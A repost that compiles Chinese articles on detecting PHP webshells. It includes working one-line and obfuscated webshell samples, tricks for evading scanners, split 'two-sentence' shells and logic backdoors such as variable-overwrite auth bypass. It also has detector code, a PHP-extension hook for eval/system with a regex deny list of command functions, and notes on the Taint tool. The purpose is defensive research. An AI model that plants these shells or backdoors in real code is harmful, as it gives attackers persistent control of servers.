常见 Webshell 的检测方法及检测绕过思路
from:http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
之前发的一篇,转过来。
Webshell的因素
我们从一个最简单的webshell结构可以看出其基本结构:“<?php eval($_POST[‘a’]);?>”
从目前被公布的一句话webshell来看,基本都符合这个结构,即shell的实现需要两步:数据的传递、执行所传递的数据。
数据传递&绕过检测
对于数据传递,我们通常的做法是使用$_GET、$_POST、$_SERVER、$_COOKIE等获取客户端数据。但这类关键词如果直接出现的话,那么可以很容易回溯到,我们有几种方案来解决这个问题:
- 利用应用本身所在框架的输入封装来得到传递的数据
- 采取某种变通的方式来绕过检测,譬如使用${“_G”.”ET”}。不过这种方式也有自身的缺点,可以跟踪“${”;不过这种跟踪又可以通过“$/*a*/{”这种方式绕过(当然其又有被跟踪的可能性)。
- 使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS[“_GET”]、$_FILE等。
- 人为构造语言缺陷或应用漏洞,并且这种缺陷是不易察觉的,譬如伪造管理员session等。
数据执行&绕过检测
对于数据执行,我们通常使用的函数或方式有:eval、create_function、“、exec、preg_replace等。当然这类关键词如 果直接出现的话,我们的自动化webshell检测脚本可以很轻易的进行识别,目前看我们可以绕过检测的方案较少:
1、通过$a()这种方式来执行函数。不过这种方式也有自身规律在里面,有很多扫描器已经内置了“$.*($.*”这种规则,同样我们可以通过$a/*a*/()这种方式以及相应的变通方式来绕过。(当然其又有被跟踪的可能性)
2、尝试去找到不在黑名单中的函数,或者极其常见的函数。
关于一句话webshell的呈现形式和检测方案
最近微博上提到的变种加密的webshell很多啊,有Fredrik提到的tiny php shell
(http://h.ackack.net/tiny-php-shell.html):
<?=($_=@$_GET[2]).@$_($_GET[1])?>
有Spanner的Non alphanumeric webshell
(http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/):
<?
$_=””;
$_[+””]=”;
$_=”$_”.””;
$_=($_[+””]|””).($_[+””]|””).($_[+””]^””);
?>
<?=${‘_’.$_}[‘_’](${‘_’.$_}[‘__’]);?>
还有从http://blog.sucuri.net 上看到的N个webshell
(http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html):
if (isset($_REQUEST[‘asc’])) eval(stripslashes($_REQUEST[‘asc’]));
wp__theme_icon=create_function(”,file_get_contents(‘/path/wp-content/themes/themename/images/void.jpg’));$wp__theme_icon();
$auth_pass = “63a9f0ea7bb98050796b649e85481845″;
$color = “#df5″;
$default_action = “SQL”;
$default_charset = “Windows-1251″;
$protectionoffer = “ficken”;
preg_replace(“/.*/e”,”\x65\x76\x61\x6C…”);
<?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb
=’b’.$XZKsyG.$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$j
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY…
还有某人发现的:
$k = “{${phpinfo()}}”;
更多的可以看这里:http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
从 上述的这些shell中我们已经能找到规律,虽然我们没有非常完善的办法定位数据传递这个步骤,但是我们能比较方便地找到数据执行的位置:“(”。从我目 前掌握的情况来看,一个数据执行(当然include这几个和““”反引号执行另作考虑)的基本条件一定会包含这个小括号,如果哪位大牛有什么可以在代 码中不使用小括号就可以达到代码执行的方法,请一定不吝赐教。
所以我们可以很容易的做出我们的webshell检测方法:使用token_get_all将php代码打成token,然后找到每一个”(”,判断括号 前面的数据是不是合法的即可。至于如何判断合法,我们遵循一个原则:如果是空格、注释之类,则采取忽略方式(即continue,继续往前判断);如果是 分支、条件判断或运算符,则我们认为是合法的;如果是字符串,并且在黑名单,我们认为是非法的,否则是合法的;如果不满足上述条件,我们先暂认为是非法的 (通过此项不断完善我们的配置和算法)。
基于上述理论,我们实现我们的算法如下(其中部分代码做省略处理,如需完整代码,请见后面链接):
<?php
final class Conf{
public static $strict = false;
//有可能有危害的函数
public static $vul_func = array(‘create_function’, ‘eval’, … ‘usort’);
public static $allow_chars = array(‘.’,’=’,’,’,’+’,’-‘,’*’,’/’,’%’,’^’,’&’,’|’,’!’,);
//无危害的token类型
public static $allow_type = array(T_AND_EQUAL,T_BOOLEAN_AND,…T_SWITCH);
//需要被忽略的token类型
public static $ignore_type = array(T_WHITESPACE,T_COMMENT,T_DOC_COMMENT,);
}
function check_callable($code){
$token = token_get_all($code);
$vul = array();$flag = false;
for($i=0;$i<count($token);$i++){
if(is_string($token[$i])){
if($token[$i]=='(‘){
$tmp = check_harmful($token,$i-1);//指向“(”之前
if($tmp) $vul[] = $tmp;
}
if($token[$i]==’`’){
$flag = $flag == true ? false : true;
if($flag) $vul[] = $token[$i+1];
}
}
}
return $vul;
}
function check_harmful($token,$idx){
for($i=$idx;$i>0;$i–){
if(is_array($token[$i])){
if(in_array($token[$i][1],Conf::$vul_func)) {
if(Conf::$strict){//严格检验
if(has_varparam($token,$idx+1)) return $token[$i];//从“(”开始
return false;
}
return $token[$i];
}
if(in_array($token[$i][0],Conf::$ignore_type)) continue;
if(in_array($token[$i][0],Conf::$allow_type)) return false;
return $token[$i];//$a();
}else{
if(in_array($token[$i],Conf::$allow_chars)) return false;
}
}
return false;
}
function has_varparam($token,$idx){
$bracket = 0;
for($i=$idx;$i<count($token);$i++){
if(is_string($token[$i])){
if($token[$i]==”(“) $bracket ++;
if($token[$i]==”)”) $bracket –;
}else{
if($token[$i][0]==T_VARIABLE) return true;
}
if($bracket===0) return false;
}
return false;
}
function _main(){
$code = file_get_contents(“shell.php”);
$vuls = check_callable($code);
var_dump($vuls);
}
_main();
?>
在不考虑误报率仅考虑覆盖率的情况下,上述代码对之前所描述的webshell的覆盖率几乎是100%。
感兴趣的朋友可以尝试去写一些单文件的shell去突破下,如果突破成了,不妨指点一二,呵呵。
关于“两句话”webshell的呈现形式
(当然所谓的“两句话”只是个概念描述方式(噱头),不是技术。这种思路可能并非是独创的,因此此处仅作为思路总结,而并非新技术提出)
那 么在这些已有的webshell都可以被检测出的情况下(当然庞大的人肉问题定位工程暂且不谈),我们可以先假设我们可以通过技术手段检测并防御了“一句 话”webshell(这里的一句话指的是上述的数据传递和数据执行在一起的webshell);那么本文的重点便引申出来了 —— 如果我们将数据传递过程和数据执行过程分开,构造出我们的“两句话”webshell,是否可以突破上述的检测呢?
当然我所指的分开可以绝不是字面上的意思把shell分两句话来写:
$a = $_GET[‘a’];eval($a);
这没有任何意义。而是说采取一些方式,隐藏数据传递者和数据执行者。这里简单举一个例子,譬如我们在a.php中插入了这样的代码,以便在必要时生成一个shell文件:
file_put_contents(“/home/www/abc.txt”, str_rot13 (‘some code already encode’));
然后我们在b.php中再实现一个数据执行者,最简单的莫过于:
include “/home/www/abc.txt”;
那么这种两步的webshell是很难被发现的。一般来说检查webshell的脚本不会对file_put_contents这种函数下手,但如果它真 下手了,那么我们依然有很多方式可以进行此步:譬如上传一个文件,然后通过$_FILES[‘userfile’][‘tmp_name’] 获取文件位置;或者使用ftp_get获取一个文件;或者构造一个可以直接backupshell的注入点等等方式来完成我们这步。我们也可以使用 curl、file、imagecreatefrompng、get_headers、bzopen、svn_checkout这样的函数来实现我们的数 据提供。而这类的函数有十几个到几十个之多,只要可以进行网络信息的读取或者可以进行本地文件的读取或写入,那么我们就可以使之成为我们的数据提供者,而shell检测脚本绝不会把自己的触手伸这么远。而且通过sqlite、mysql或其它数据库隐藏我们的数据也不失为一个好方法。
而对于数据执行者,即便将所有的include都grep出来,想把这个webshell的数据执行者找到也不是那么容易的事。尤其我们假设一种情况:这 个include是原来正常的代码逻辑,而变化的仅仅是之前的数据传递者(即被include的页面)。另外有些框架有自动加载helper和model 的功能,甚至有的有自动加载viewer的功能,这些也都是我们藏身的好地方。此外我们还可以使用virtual、php_check_syntax、 array_filter、array_map、array_walk、call_user_func、preg_replace、usort等一般不在 黑名单中的函数来绕过shell脚本检测,或者直接在应用代码中找上述的函数,看其所引用的变量是否可以稍加改变变成我们的数据提供者。
所以我们看出“两句话”与一句话webshell的最大的区别在于不构造新的数据执行者或者可以完全隐匿数据执行者(利用已有的代码逻辑等),仅通过变换 或构造数据提供者的前提下完成shell的功能。 而$_GET、$_POST、$_SERVER、$_COOKIE、$_FILE、$_REQUEST、$GLOBALS[“_GET”]、$/*hello* /{“_G”.”ET”}都是我们的数据传送者;file_get_contents、file、file_put_contents甚至 print_r、unserialize都可以隐匿我们要传输的数据。当然扫描代码隐患的工具(譬如Rips)肯定能够扫描到这些隐患,但是这类工具毕竟 不是用于扫描webshell的,且误报率是相当的高。
逻辑后门
当然如上的利用方式中还是少不了特殊的函数的存在的。因此除此之外,我们可以尝试留下另一种后门:逻辑后门,譬如:
<?php
foreach ($_GET as $key => $value) { //由攻击者添加
$$key = $value;
}
// … some code
if (logged_in() || $authenticated) { //原有逻辑
// … administration area
}
?>
利用方式:http://www.example.com/index.php?authenticated=true
或者增加逻辑
if($user_level==ADMIN || $user_name==’monyer’){//admin area}
或者增加配置
$allow_upload = array(
‘jpg’,’gif’,’png’,
‘php’,
);
那么可以想象检测难度之大,几乎是无法用扫描特征的方式解决的。对此可能我们只能采取其他方法,譬如线上文件监控以及线上与SVN代码的周期性diff等方式来解决了。
OK,文章就到此,描述常见的一句话后门和变种方式以及检测方式,“两句话”后门的实现思路和逻辑后门的思路。希望各位看官看完会有收获,有问题及时联系,多谢!
monyer.
一句话php webshell的case和检测结果:
Case:http://xeye.sinaapp.com/data/lab/php_shell/shell_sample.php
Find Shell:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php
Find Shell Code:http://xeye.sinaapp.com/data/lab/php_shell/find_shell.php?show_code
参考资料:
http://h.ackack.net/tiny-php-shell.html
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html
http://sourceforge.net/projects/rips-scanner/
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
浅谈变形PHP WEBSHELL检测
fom:http://security.tencent.com/index.php/blog/msg/19
博文作者:bghost[TSRC]
发布日期:2013-05-31
博文内容:
一、变形webshell
webshell比如eval($_POST[])大家都耳熟能详,近几年在常见的webshell基础上衍生了很多变种,加大了检测难度,下面先看几个从网上摘取的样本:
1、无ascii码和数字的webshell
2、隐藏关键字
3、编码 + 隐藏关键字
从 目前已经公开的样本来看,变形的php webshell都是采取了隐藏关键字(eval、system等)的方法来躲避查杀。有一位monyer同学写过一篇webshell的检测文章,他把 webshell拆分为下面的结构,执行数据和数据传递,检测思路是:以小括号为界限,匹配执行数据部分是否命中收集的样本的关键字。这种思路很好,个人 觉得有两处不足:
1、需要人工维护收集新样本。
2、误报量不可预估。

再 看这个结构,变形的webshell无非是隐藏了执行数据部分或者数据传递部分,不过无论怎么变形本质上还是去调用eval、调用system、exec 等命令执行函数,杀毒软件通过异常行为来检测木马病毒,比如开机自启动,这种思想同样也可以用在webshell的检测中。获取行为数据是第一步。
二、PHP HOOK
这里我们只需要一些敏感的行为数据,比如eval、system的调用。实现方法很简单,hook这些php函数或语法结构,这里通过php扩展来实现hook。下面以eval和system来简要概述下hook的方法。
Eval是一个语法结构,调用eval最终会调用php内核的zend_compile_string函数,hook eval的只需要重写zend_complie_string函数即可,流程如下:
System 是php的一个内部函数,php代码是转化为opcode(指令)来执行,函数调用的指令是ZEND_DO_FCALL,风雪之隅大牛在taint扩展 (详见参考二)就是通过重载ZEND_DO_FCALL的方法实现了。因为我们并不需要hook每个内部函数,所以这里介绍另外一种方法,流程如下:
上报的数据写在一个日志文件中,包括文件名、调用函数名、代码在文件的行数。日志结构和内容如下:
附件中有eval、system函数hook实现的demo,具体细节可以查看代码。demo只在php-5.3.6上测试过,不兼容之处忘见谅。
三、检测
变形webshell分为两大类,下面依次说明一下检测逻辑。
1、执行数据隐藏
一个正常的程序员如果使用eval、system是不会刻意的转换隐藏的,如果发现某个函数执行了,代码中却找不到这个函数名,我们认为这是一个异常行为。以下面这个变形为例
比如黑客传入参数nonalpha.php?_=system&__=whoami执行了一条命令,日志会记录
我们在后端取nonalpha.php文件的第7行内容匹配system(字符串,如果没找到,则认为是一个变形webshell。
2、数据传递隐藏
先看下面这个例子
这个webshell通过编码的referer来传递攻击载荷,利用日志文件记录到的文件名和行数把代码上报到后端,和后端svn中的代码做对比,如果不一致,则认为是一个webshell。
四、不足
web承受着大量的访问请求,增加的php扩展的性能和稳定性是一个严峻的考验,另外在服务器比较多的公司还存在一个推广和部署成本。
五、参考:
[1] http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
[2] http://www.laruence.com/2012/02/18/2560.html
[3] http://www.80vul.com/webzine_0x05/0x07%20%E6%B5%85%E8%B0%88%E4%BB%8EPHP%E5%86%85%E6%A0%B8%E5%B1%82%E9%9D%A2%E9%98%B2%E8%8C%83PHP%20WebShell.html
浅谈从PHP内核层面防范PHP WebShell
from:http://www.80vul.com/webzine_0x05/0x07%20%E6%B5%85%E8%B0%88%E4%BB%8EPHP%E5%86%85%E6%A0%B8%E5%B1%82%E9%9D%A2%E9%98%B2%E8%8C%83PHP%20WebShell.html
By 咖啡(k4kup8_0x4154_gmail.com)
[目录]
1. 简述
2. php的执行流程
3. php的生命周期
4. php源代码分析以及功能性代码的实现
5. 总结
6. 参考资料
一、简述
依据php特定运行环境、php某些特定函数缺陷、php普通函数可以实现变化多端的php
webshell,php版本的scanwebshell也不是太给力。php webshell功能最大化就是实现文件、
目录、命令、数据库等操作,这些都是基于php代码实现的。把相关功能化的php函数运行参
数提取出来,然后做一个判断,这样就能从本质上防范php webshell,在php这个层面实现
其安全的最大化。这里介绍下通过编写php扩展来实现这个思路,当然需要的话也可以重新
编译php源代码来实现。
首先我们了解下php的执行流程、php生命周期,接下来通过分析具体函数的php源代码
来实现功能性代码。
二、php的执行流程
2.1 scanner
将PHP代码转换为Tokens,详见代码Zend/zend_language_scanner.l。
2.2 parser
将Tokens转换成表达式,详见代码Zend/zend_language_parser.y。
2.3 compile
将表达式编译成opcode。opcode存放在op_array中。
2.4 execute
Zend Engine调用zend_execute来执行op_array,输出结果。
三、php的生命周期
3.1 STARTUP
1、初始化引擎和核心组件。
2、解析php.ini。
3、初始化静态构建的模块(MINIT)。
4、初始化共享模块(MINIT)。
3.2 ACTIVATION
1、初始化环境变量、变量。
2、激活静态构建的模块(RINIT) 。
3、激活共享模块(RINIT) 。
3.3 RUNTIME
1、编译和执行php.ini中auto_prepend_file选项指定的文件。
2、编译和执行所请求的文件。
3、编译和执行php.ini中auto_append_file选项指定的文件。
3.4 DEACTIVATION
1、调用用户指定的退出函数。
2、销毁对象实例。
3、停用模块(RSHUTDOWN)。
4、清空输出。
5、清理环境。
6、释放剩余的非持久内存。
3.5 SHUTDOWN
1、关闭启动的全部模块(MSHUTDOWN)。
2、关闭引擎。
四、php源代码分析以及功能性代码的实现
php函数分为两种:一种是Zend的函数,这类函数数量比较少,比如eval函数。第二种
是由PHP_FUNCTION宏编写的,这类函数数量比较多,比如system函数。实现对两类函数在提
取运行时的参数的方式也不相同,比如处理eval函数用重写zend_compile_string的方式,
而处理system函数则对HashTable操作。下边就以eval函数和system函数为例进行分析、代
码实现。
4.1 eval函数代码分析与代码实现
首先我们看php源代码中eval函数是如何实现的,部分代码如下:
--code-------------------------------------------------------------------------
// PHPSRC/Zend/zend_vm_def.h
if (inc_filename->type!=IS_STRING) {
tmp_inc_filename = *inc_filename;
zval_copy_ctor(&tmp_inc_filename);
convert_to_string(&tmp_inc_filename);
inc_filename = &tmp_inc_filename;
}
case ZEND_EVAL: {
/* 调用zend_make_compiled_string_description函数 */
char *eval_desc = zend_make_compiled_string_description("eval()"d code" TSRMLS_CC);
/* 调用zend_compile_string函数 */
new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC);
efree(eval_desc);
}
/* 执行op_array */
zend_execute(new_op_array TSRMLS_CC);
//PHPSRC/Zend/zend.c
#define COMPILED_STRING_DESCRIPTION_FORMAT "%s(%d) : %s"
ZEND_API char *zend_make_compiled_string_description(char *name TSRMLS_DC)
{
zend_spprintf(&compiled_string_description, 0, COMPILED_STRING_DESCRIPTION_FORMAT, cur_filename, cur_lineno, name);
return compiled_string_description; //返回值包含"eval()"d code"字符串
}
//PHPSRC/Zend/zend_compile.c
ZEND_API zend_op_array *(*zend_compile_string)(zval *source_string, char *filename TSRMLS_DC);
zend_compile_string一个函数指针。下边看下引擎初始化的时候对zend_compile_string的操作。
int zend_startup(zend_utility_functions *utility_functions, char **extensions, int start_builtin_functions)
{
zend_compile_string = compile_string; //对zend_compile_string函数的地址赋值
-------------------------------------------------------------------------------
只要检查op_array中是否含有"eval()"d code"字符串,就能判断是否是在执行eval函数。
在引擎初始化的时候,默认会将compile_string函数的地址赋值给zend_compile_string,
compile_string函数则返回一个指向zend_op_array的指针。如果能在php代码编译之前对
zend_compile_string进行重写,那么就能达到劫持的目的。根据php的生命周期,对
zend_compile_string进行重写应该放在STARTUP或者ACTIVATION这两个阶段,而编写php扩
展所使用到的PHP_MINIT_FUNCTION和PHP_RINIT_FUNCTION宏就分别处在STARTUP和ACTIVATION
这个两个阶段,这是为什么呢?我们先看下php.h代码中对PHP_MINIT_FUNCTION宏的定义。
--code-------------------------------------------------------------------------
#define PHP_MINIT_FUNCTION ZEND_MODULE_STARTUP_D
//ZEND_MODULE_STARTUP_D定义在zend_API.h
#define ZEND_MODULE_STARTUP_D(module) int ZEND_MODULE_STARTUP_N(module)(INIT_FUNC_ARGS)
//ZEND_MODULE_STARTUP_N定义在zend_API.h
#define ZEND_MODULE_STARTUP_N(module) zm_startup_##module
//INIT_FUNC_ARGS定义在zend_modules.h
#define INIT_FUNC_ARGS int type, int module_number TSRMLS_DC
-------------------------------------------------------------------------------
PHP_MINIT_FUNCTION(module)的原型就是:
--code-------------------------------------------------------------------------
zm_startup_module(int type, int module_number TSRMLS_DC)
-------------------------------------------------------------------------------
同样的PHP_RINIT_FUNCTION(module)的原型为:
--code-------------------------------------------------------------------------
zm_activate_module(int type, int module_number TSRMLS_DC)
-------------------------------------------------------------------------------
关于对eval函数运行参数截取分析的实现代码如下:
--code-------------------------------------------------------------------------
#define OVECCOUNT 30
/* 具体正则表达式要按照具体的需求来写,下面正则仅为测试用 */
#define eval_regex_value "(((chr\\(\\d*?\\)|base64_decode\\(|eval|gzinflate\\(|system|shell_exec|popen|pclose|proc_close|proc_get_status|proc_nice|proc_terminate|exec|passthru|show_source|escapeshellcmd|escapeshellarg system|shell_exec|popen|pclose|proc_open|proc_close|proc_get_status|proc_nice|proc_terminate|exec|passthru|show_source|escapeshellcmd|escapeshellarg)\\([{}"$\\w\\s]*?\\));).*?"
static zend_op_array* (*old_compile_string)(zval *source_string, char *filename TSRMLS_DC);
static zend_op_array* safe_compile_string(zval *source_string, char *filename TSRMLS_DC);
PHP_RINIT_FUNCTION(safe) //PHP_MINIT_FUNCTION(safe)也可
{
safe_hook_execute();
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(safe) //PHP_MSHUTDOWN_FUNCTION(safe)也可
{
safe_unhook_execute();
return SUCCESS;
}
int matchpattern(char *src, char *pattern, int i) //正则匹配函数
{
pcre *re;
const char *error;
int erroffset;
int ovector[OVECCOUNT];
int rc;
char *substring_start;
int substring_length;
TSRMLS_FETCH();
re = pcre_compile(pattern, PCRE_CASELESS|PCRE_DOTALL, &error, &erroffset, NULL);
if(re == NULL) {
//printf("PCRE compilation failed at offset %d: %s\n", erroffset, error);
return 1;
}
rc = pcre_exec(re, NULL, src, strlen(src), 0, 0, ovector, OVECCOUNT);
if(rc >= 0) {
substring_start = src + ovector[2*i];
substring_length = ovector[2*i+1] - ovector[2*i];
printf("Match_result: %.*s\n", substring_length, substring_start);
printf("Filename : %-40s\n", zend_get_executed_filename(TSRMLS_C));
printf("Line : %-50i\n", zend_get_executed_lineno(TSRMLS_C));
}
free(re);
return rc;
}
static zend_op_array *safe_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
char *eval_strings;
int x;
zend_op_array *op_array;
op_array = old_compile_string(source_string, filename TSRMLS_CC);
/* 过滤非eval函数 */
if(!strstr(op_array->filename, "eval()"d code")) {
return old_compile_string(source_string, filename TSRMLS_CC);
}
/* 将source_string字符串赋值给eval_strings */
eval_strings = estrndup(Z_STRVAL_P(source_string), Z_STRLEN_P(source_string));
printf("%s","\n");
printf("Function : %-40s\n", "eval");
x = matchpattern(eval_strings, eval_regex_value, 1);
if (x < 0)
{
return old_compile_string(source_string, filename TSRMLS_CC);
}
else if(x >= 0)
return FALSE;
}
int safe_hook_execute()
{
old_compile_string = zend_compile_string;
zend_compile_string = safe_compile_string;
system_hook_system(); //对应后边对system函数的操作
return TRUE;
}
int safe_unhook_execute()
{
zend_compile_string = old_compile_string;
return TRUE;
}
-------------------------------------------------------------------------------
4.2 system函数代码分析与代码实现
首先我们看php源代码中system函数是如何实现的,部分代码如下:
--code-------------------------------------------------------------------------
//PHPSRC\ext\standard\exec.c
PHP_FUNCTION(system)
{
/* 调用php_exec_ex函数 */
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
}
static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode)
{
char *cmd;
if (!ret_array) {
/* 调用php_exec函数 */
ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC);
} else {
if (Z_TYPE_P(ret_array) != IS_ARRAY) {
zval_dtor(ret_array);
array_init(ret_array);
}
ret = php_exec(2, cmd, ret_array, return_value TSRMLS_CC);
-------------------------------------------------------------------------------
接下来看php_exec函数的定义。
--code-------------------------------------------------------------------------
int php_exec(int type, char *cmd, zval *array, zval *return_value TSRMLS_DC)
{
char *cmd_p, *b, *c, *d=NULL;
if (PG(safe_mode)) {
cmd_p = php_escape_shell_cmd(d);
efree(d);
d = cmd_p;
} else {
cmd_p = cmd;
#ifdef PHP_WIN32
fp = VCWD_POPEN(cmd_p, "rb"); //调用VCWD_POPEN函数
-------------------------------------------------------------------------------
接下来看VCWD_POPEN函数的定义。
--code-------------------------------------------------------------------------
//TSRM\tsrm_virtual_cwd.c
#ifdef TSRM_WIN32 //以windows平台为例
CWD_API FILE *virtual_popen(const char *command, const char *type TSRMLS_DC)
{
return popen_ex(command, type, CWDG(cwd).cwd, NULL);//调用popen_ex函数
}
-------------------------------------------------------------------------------
接下来看popen_ex函数的定义。
--code-------------------------------------------------------------------------
//TSRM\tsrm_win32.c
TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env)
{
char *cmd;
cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c "));
sprintf(cmd, "%s /c %s", TWG(comspec), command);
if (!CreateProcess(NULL, cmd, &security, &security, security.bInheritHandle, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, env, cwd, &startup, &process)) {
return NULL;
}
free(cmd);
-------------------------------------------------------------------------------
上边是system函数执行的参数传递的过程,在这个过程中如果可以截取函数执行的参数
的话,就可以分析参数是否包含危险的关键字。为了方便编写扩展程序,我们直接在exec.c
中php_exec函数中添加截取代码,也就是在php_exec_ex函数调用php_exec函数之前的位置。
添加如下代码即可获取执行的参数:
--code-------------------------------------------------------------------------
x = matchpattern(cmd, system_regex_value, 0);//调用正则函数进行判断
if(x >= 0) RETURN_FALSE;
-------------------------------------------------------------------------------
下边我们分析怎么实现对system函数的重写,这里主要参照main.c文件中实现php.ini
中disable_functions功能的php_disable_functions函数,它调用了zend_disable_function。
--code-------------------------------------------------------------------------
ZEND_API int zend_disable_function(char *function_name, uint function_name_length TSRMLS_DC)
{
if (zend_hash_del(CG(function_table), function_name, function_name_length+1)==FAILURE) {
return FAILURE;
}
disabled_function[0].fname = function_name;
return zend_register_functions(NULL, disabled_function, CG(function_table), MODULE_PERSISTENT TSRMLS_CC);
}
-------------------------------------------------------------------------------
同样我们可以用zend_hash_del函数将system从function_table中删除,然后注册新的
zend函数,以达到对system函数劫持的目的。
system作为一个执行系统命令的函数,在这里进行了禁用操作,没有使用正则处理函数
进行参数的检查,当然也可以根据具体的需求进行具体的操作。
实现代码如下:
--code-------------------------------------------------------------------------
/* 声明导出函数 */
PHP_FUNCTION(system1)
{
printf("%s","\n");
printf("Function : %-40s\n", "system");
printf("Filename : %-40s\n", zend_get_executed_filename(TSRMLS_C));
printf("Line : %-50i\n", zend_get_executed_lineno(TSRMLS_C));
printf("%s","system function is disabled.");
}
/* 声明 Zend 函数块 */
zend_function_entry hook_system_functions[] = {
PHP_FALIAS(system, system1, NULL) // 创建system别名
{NULL, NULL, NULL}
};
/* 创建system hook函数 */
int safe_hook_system()
{
TSRMLS_FETCH();
/* 删除function_table中的system函数 */
zend_hash_del(CG(function_table), "system", sizeof("system"));
/* 注册新zend函数 */
#ifndef ZEND_ENGINE_2
zend_register_functions(hook_system_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#else
zend_register_functions(NULL, hook_system_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#endif
return 0;
}
-------------------------------------------------------------------------------
4.3 demo运行效果
4.3.1 加载php扩展
-------------------------------------------------------------------------------
C:\phpext>type php.ini | findstr "^extension="
extension=php_safe.dll
C:\phpext>php 3.php
Function : system
Filename : C:\phpext\3.php
Line : 3
system function is disabled.
Function : eval
Match_result: exec("ver");
Filename : C:\phpext\3.php
Line : 9
-------------------------------------------------------------------------------
4.3.2 不加载php扩展
-------------------------------------------------------------------------------
C:\phpext>type php.ini | findstr "^extension="
C:\phpext>php 3.php
Microsoft Windows XP [版本 5.1.2600]
-------------------------------------------------------------------------------
五、总结
实现php webshell的功能性函数众多,我们做到控制关键性的函数足以。当然实现函数
截取要根据函数的情况进行一一的分析,然后做相应的判断。
最后要感谢下SuperHei,文章不足之处请斧正。
六、参考资料
[1] php源代码 http://www.php.net
[2] PHP Extension Writing http://talks.somabo.de/200903_montreal_php_extension_writing.pdf
Feb 12 Taint-0.3.0(A XSS codes sniffer) released
from:http://www.laruence.com/2012/02/18/2560.html
最近几天忙里偷闲, 一直在完善taint, 今天我觉得终于算做到了80%的满意了, 根据80:20原则, 我觉得可以做为一个里程碑的版本了
.
什么是Taint? An extension used for detecting XSS codes(tainted string), And also can be used to spot sql injection vulnerabilities, shell inject, etc.
经过我实际测试, Taint-0.3.0能检测出实际的一些开源产品的(别问是什么)隐藏的XSS code, SQL注入, Shell注入等漏洞, 并且这些漏洞如果要用静态分析工具去排查, 将会非常困难, 比如对于如下的例子:
- <?php
- $name = $_GET[“name”];
- $value = strval($_GET[“tainted”]);
- echo $$name;
对于请求:
- http://****.com/?name=value&tainted=xxx
静态分析工具, 往往无能为力, 而Taint却可以准确无误的爆出这类型问题.
- Warning: main() [function.echo]:
- Attempt to echo a string that might be tainted in %s.php on line %d
现在0.3.0已经发布, 我想短时间内, 我不会再添加新功能了. enjoy, PHP Taint.
另外, 多说一句, Taint可以说是, 我完成的扩展中最为复杂的一个, 使用了各种tricky技巧, 大家如果有兴趣做扩展开发, 可以用来作为一个很好的高级教材.
附录:
A. Tainted String
所有来自$_GET, $_POST, $_COOKIE的变量, 都被认为是Tainted String
B. taint检测的函数/语句列表, 当这些函数使用tainted string参数的时候, taint会给出警告:
1. 输出函数/语句系列
- echo
- printf
- file_put_contents
2. 文件系统函数
- fopen
- opendir
- basename
- dirname
- file
- pathinfo
3. 数据库系列函数/方法
- mysql_query
- mysqli_query
- sqlite_query
- sqlite_single_query
- oci_parse
- Mysqli::query
- SqliteDataBase::query
- SqliteDataBase::SingleQuery
- PDO::query
- PDO::prepare
4. 命令行系列
- system
- exec
- proc_open
- passthru
- shell_exec
5. 语法结构
- eval
- include(_once)
- require(_once)
C. 消除tainted信息的函数, 调用这些函数以后, tainted string就会变成合法的string:
- escapeshellcmd
- htmlspecialchars
- escapeshellcmd
- addcslashes
- addslashes
- mysqli_escape_string
- mysql_real_escape_string
- mysql_escape_string
- sqlite_escape_string
- PDO::quote
- Mysqli::escape_string
- Mysql::real_escape_string
D. 调用中保持tainted信息的函数/语句, 调用这些函数/语句时, 如果输入是tainted string, 则输出也为tainted string:
- = (assign)
- . (concat)
- “{$var}” (variable substitution)
- .= (assign concat)
- strval
- explode
- implode
- sprintf
- vsprintf
- trim(as of 0.4.0)
- rtrim(as of 0.4.0)
- ltrim(as of 0.4.0)
E. 链接:
- RFC:Taint (想法主要来自这个RFC)
转载请注明:jinglingshu的博客 » 常见 Webshell 的检测方法及检测绕过思路&浅谈变形PHP WEBSHELL检测










